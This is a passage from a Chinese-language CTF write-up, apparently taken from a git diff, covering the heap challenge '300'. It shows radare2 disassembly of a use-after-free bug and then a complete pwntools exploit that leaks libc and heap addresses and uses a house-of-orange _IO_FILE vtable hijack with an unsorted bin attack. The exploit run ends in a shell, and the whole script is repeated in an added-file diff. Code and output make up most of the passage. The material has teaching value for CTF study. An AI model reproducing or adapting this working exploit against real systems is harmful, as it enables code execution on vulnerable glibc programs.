| 0x00000a2d call sym.imp.read ; read(0, allocs[slot], 0x300) 读入字符串
| 0x00000a32 nop
| 0x00000a33 leave
\ 0x00000a34 ret
```
该函数读入最多 0x300 个字符到 slot 对应的空间中。没有在字符串末尾加 `\x00`,可能导致信息泄露。
#### print
```
[0x00000790]> pdf @ sym.print_it
/ (fcn) sym.print_it 46
| sym.print_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b23 (main)
| 0x00000a35 push rbp
| 0x00000a36 mov rbp, rsp
| 0x00000a39 sub rsp, 0x10
| 0x00000a3d mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x00000a40 mov eax, dword [local_4h]
| 0x00000a43 cdqe
| 0x00000a45 lea rdx, [rax*8]
| 0x00000a4d lea rax, obj.allocs ; 0x202040
| 0x00000a54 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
| 0x00000a58 mov rdi, rax
| 0x00000a5b call sym.myputs ; 打印
| 0x00000a60 nop
| 0x00000a61 leave
\ 0x00000a62 ret
```
该函数用于打印 slot 对应空间中的字符串。
#### free
```
[0x00000790]> pdf @ sym.free_it
/ (fcn) sym.free_it 46
| sym.free_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b2f (main)
| 0x00000a63 push rbp
| 0x00000a64 mov rbp, rsp
| 0x00000a67 sub rsp, 0x10
| 0x00000a6b mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x00000a6e mov eax, dword [local_4h]
| 0x00000a71 cdqe
| 0x00000a73 lea rdx, [rax*8]
| 0x00000a7b lea rax, obj.allocs ; 0x202040
| 0x00000a82 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
| 0x00000a86 mov rdi, rax
| 0x00000a89 call sym.imp.free ; free(allocs[slot]) 释放空间
| 0x00000a8e nop
| 0x00000a8f leave
\ 0x00000a90 ret
```
该函数用于释放 slot 对应的空间,但是却没有将 allocs[slot] 指针置空,导致 UAF或者 double-free。
## 漏洞利用 ## 漏洞利用
从上面我们可以看到,程序的各项操作都基于 slot对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。
#### leak
```python
def leak():
global libc_base
global heap_addr
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1)
free(3)
printt(1)
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
printt(3)
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
log.info("libc_base address: 0x%x" % libc_base)
log.info("heap address: 0x%x" % heap_addr)
```
首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 `\x00` 截断heap 基地址的低位 `0x00`)。然后释放掉 1 和 3 即可。
```
gef➤ x/10gx &allocs
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000000000000000
0x555555756070 <allocs+48>: 0x0000000000000000 0x0000000000000000
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757320-0x10
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
0x555555757320: 0x00007ffff7dd1b58 0x0000555555757930
0x555555757330: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757940-0x10
0x555555757930: 0x0000000000000000 0x0000000000000311 <-- slot 3
0x555555757940: 0x0000555555757310 0x00007ffff7dd1b58
0x555555757950: 0x0000000000000000 0x0000000000000000
```
#### house of orange
```python
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
io_wstr_finish = libc_base + 0x3bdc90
fake_chunk = heap_addr + 0x310 * 4 + 0x20
fake_chunk_bk = heap_addr + 0x310 * 3
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
stream = stream.ljust(0x74, '\x00')
stream += p64(0) # fp->_flags2
stream = stream.ljust(0xa0, '\x00')
stream += p64(fake_chunk) # fp->_wide_data
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
payload += p64(0)
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
write(4, payload)
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
write(1, payload)
alloc(5)
alloc(6) # put fake chunk in smallbins[5]
free(5) # put a chunk in unsorted bin
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
alloc(5) # unsorted bin attack
```
这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk而我们知道 house-of-orange 需要大小为 0x60 的 chunk放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk而第二次 malloc 的时候由于大小不合适fake chunk 就会被整理回 smallbins[5]
```
gef➤ x/10gx &allocs
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757320-0x10
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
0x555555757320: 0x0000000000000000 0x0000555555757c60 <-- bk points to fake chunk
0x555555757330: 0x000000000000000a 0x0000000000000000
gef➤ x/34gx 0x0000555555757c50-0x10
0x555555757c40: 0x0000000000000310 0x0000000000000311 <-- slot 4
0x555555757c50: 0x4141414141414141 0x4141414141414141
0x555555757c60: 0x0000000000000000 0x0000000000000061 <-- fake chunk
0x555555757c70: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
0x555555757c80: 0x0000000000000000 0x00000000ffffffff <-- fp->_IO_write_ptr
0x555555757c90: 0x00007ffff7b9ac40 0x0000000000000000 <-- fp->wide_data->buf_base
0x555555757ca0: 0x0000000000000000 0x0000000000000000
0x555555757cb0: 0x0000000000000000 0x0000000000000000
0x555555757cc0: 0x0000000000000000 0x0000000000000000
0x555555757cd0: 0x0000000000000000 0x0000000000000000
0x555555757ce0: 0x0000000000000000 0x0000000000000000
0x555555757cf0: 0x0000000000000000 0x0000000000000000
0x555555757d00: 0x0000555555757c60 0x0000000000000000 <-- fp->_wide_data
0x555555757d10: 0x0000000000000000 0x0000000000000000
0x555555757d20: 0x0000000000000000 0x0000000000000000 <-- fp->_mode
0x555555757d30: 0x0000000000000000 0x00007ffff7dcdc78 <-- vtable
0x555555757d40: 0x0000000000000000 0x00007ffff7a556a0 <-- ((_IO_strfile *) fp)->_s._free_buffer
gef➤ x/12gx 0x7ffff7dd1bb8-0x50
0x7ffff7dd1b68: 0x00007ffff7dd1b58 0x00007ffff7dd1b58 <-- unsorted bin
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
```
对于 vtable 的利用,上一节我们使用了 `_IO_str_overflow` 函数,这次我们就用 `_IO_wstr_finish` 函数。具体怎么用请查看章节 4.13。
值得注意的是 `fp->_wide_data` 指向了 fake chunk所以就相当于我们复用了这一块空间`fp->_IO_write_end` 的地方也是就是 `fp->wide_data->buf_base`
接下来利用 unsorted bin attack 修改 `_IO_list_all` 指向 `&unsorted_bin-0x10`,而偏移 0x60 的地方就是 `_IO_list_all->_chain`,即 smallbins[5],指向了 fake chunk。
```
gef➤ x/10gx &allocs
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757320-0x10
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 5
0x555555757320: 0x0000000000000000 0x00007ffff7dd24f0 <-- bk points to _IO_list_all-0x10
0x555555757330: 0x000000000000000a 0x0000000000000000
gef➤ x/4gx 0x00007ffff7dd24f0
0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd1b58 0x0000000000000000
gef➤ x/14gx 0x00007ffff7dd1b58
0x7ffff7dd1b58: 0x0000555555757f50 0x0000000000000000 <-- &unsorted_bin-0x10
0x7ffff7dd1b68: 0x0000555555757310 0x00007ffff7dd24f0 <-- unsorted bin
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
```
#### pwn
```python
def pwn():
alloc(5) # abort routine
io.interactive()
```
最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`,获得 shell。
开启 ASLRBingo!!!
```
python exp.py
[+] Starting local process './300': pid 5158
[*] '/home/firmyy/300/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] libc_base address: 0x7efdcef24000
[*] heap address: 0x5624a7a3c000
[*] _IO_list_all address: 0x7efdcf2e6500
[*] system address: 0x7efdcef696a0
[*] /bin/sh address: 0x7efdcf0aec40
[*] _IO_wstr_finish address: 0x7efdcf2e1c90
[*] Switching to interactive mode
*** Error in `./300': malloc(): memory corruption: 0x00007efdcf2e6500 ***
======= Backtrace: =========
$ whoami
firmy
```
#### exploit
完整的 exp 如下:
```python
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./300'], env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF('libc.so.6')
def alloc(idx):
io.sendlineafter("free\n", '1')
io.sendlineafter("(0-9)\n", str(idx))
def write(idx, data):
io.sendlineafter("free\n", '2')
io.sendlineafter("(0-9)\n", str(idx))
io.sendline(data)
def printt(idx):
io.sendlineafter("free\n", '3')
io.sendlineafter("(0-9)\n", str(idx))
def free(idx):
io.sendlineafter("free\n", '4')
io.sendlineafter("(0-9)\n", str(idx))
def leak():
global libc_base
global heap_addr
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1)
free(3)
printt(1)
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
printt(3)
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
log.info("libc_base address: 0x%x" % libc_base)
log.info("heap address: 0x%x" % heap_addr)
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
io_wstr_finish = libc_base + 0x3bdc90
fake_chunk = heap_addr + 0x310 * 4 + 0x20
fake_chunk_bk = heap_addr + 0x310 * 3
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
stream = stream.ljust(0x74, '\x00')
stream += p64(0) # fp->_flags2
stream = stream.ljust(0xa0, '\x00')
stream += p64(fake_chunk) # fp->_wide_data
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
payload += p64(0)
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
write(4, payload)
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
write(1, payload)
alloc(5)
alloc(6) # put fake chunk in smallbins[5]
free(5) # put a chunk in unsorted bin
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
alloc(5) # unsorted bin attack
def pwn():
alloc(5) # abort routine
io.interactive()
if __name__ == '__main__':
leak()
house_of_orange()
pwn()
```
## 参考资料 ## 参考资料
- https://ctftime.org/task/5172 - https://ctftime.org/task/5172

View File

@ -39,7 +39,7 @@ def house_of_orange():
stream = p64(0) + p64(0x61) # fake header # fp stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
stream += p64(0) # fp->_IO_write_base stream += p64(0) # fp->_IO_write_base
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00') stream = stream.ljust(0xc0, '\x00')

View File

@ -0,0 +1,100 @@
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./300'], env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF('libc.so.6')
def alloc(idx):
io.sendlineafter("free\n", '1')
io.sendlineafter("(0-9)\n", str(idx))
def write(idx, data):
io.sendlineafter("free\n", '2')
io.sendlineafter("(0-9)\n", str(idx))
io.sendline(data)
def printt(idx):
io.sendlineafter("free\n", '3')
io.sendlineafter("(0-9)\n", str(idx))
def free(idx):
io.sendlineafter("free\n", '4')
io.sendlineafter("(0-9)\n", str(idx))
def leak():
global libc_base
global heap_addr
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1)
free(3)
printt(1)
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
printt(3)
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
log.info("libc_base address: 0x%x" % libc_base)
log.info("heap address: 0x%x" % heap_addr)
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
io_wstr_finish = libc_base + 0x3bdc90
fake_chunk = heap_addr + 0x310 * 4 + 0x20
fake_chunk_bk = heap_addr + 0x310 * 3
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
stream = stream.ljust(0x74, '\x00')
stream += p64(0) # fp->_flags2
stream = stream.ljust(0xa0, '\x00')
stream += p64(fake_chunk) # fp->_wide_data
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
payload += p64(0)
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
write(4, payload)
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
write(1, payload)
alloc(5)
alloc(6) # put fake chunk in smallbins[5]
free(5) # put a chunk in unsorted bin
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
alloc(5) # unsorted bin attack
def pwn():
alloc(5) # abort routine
io.interactive()
if __name__ == '__main__':
leak()
house_of_orange()
pwn()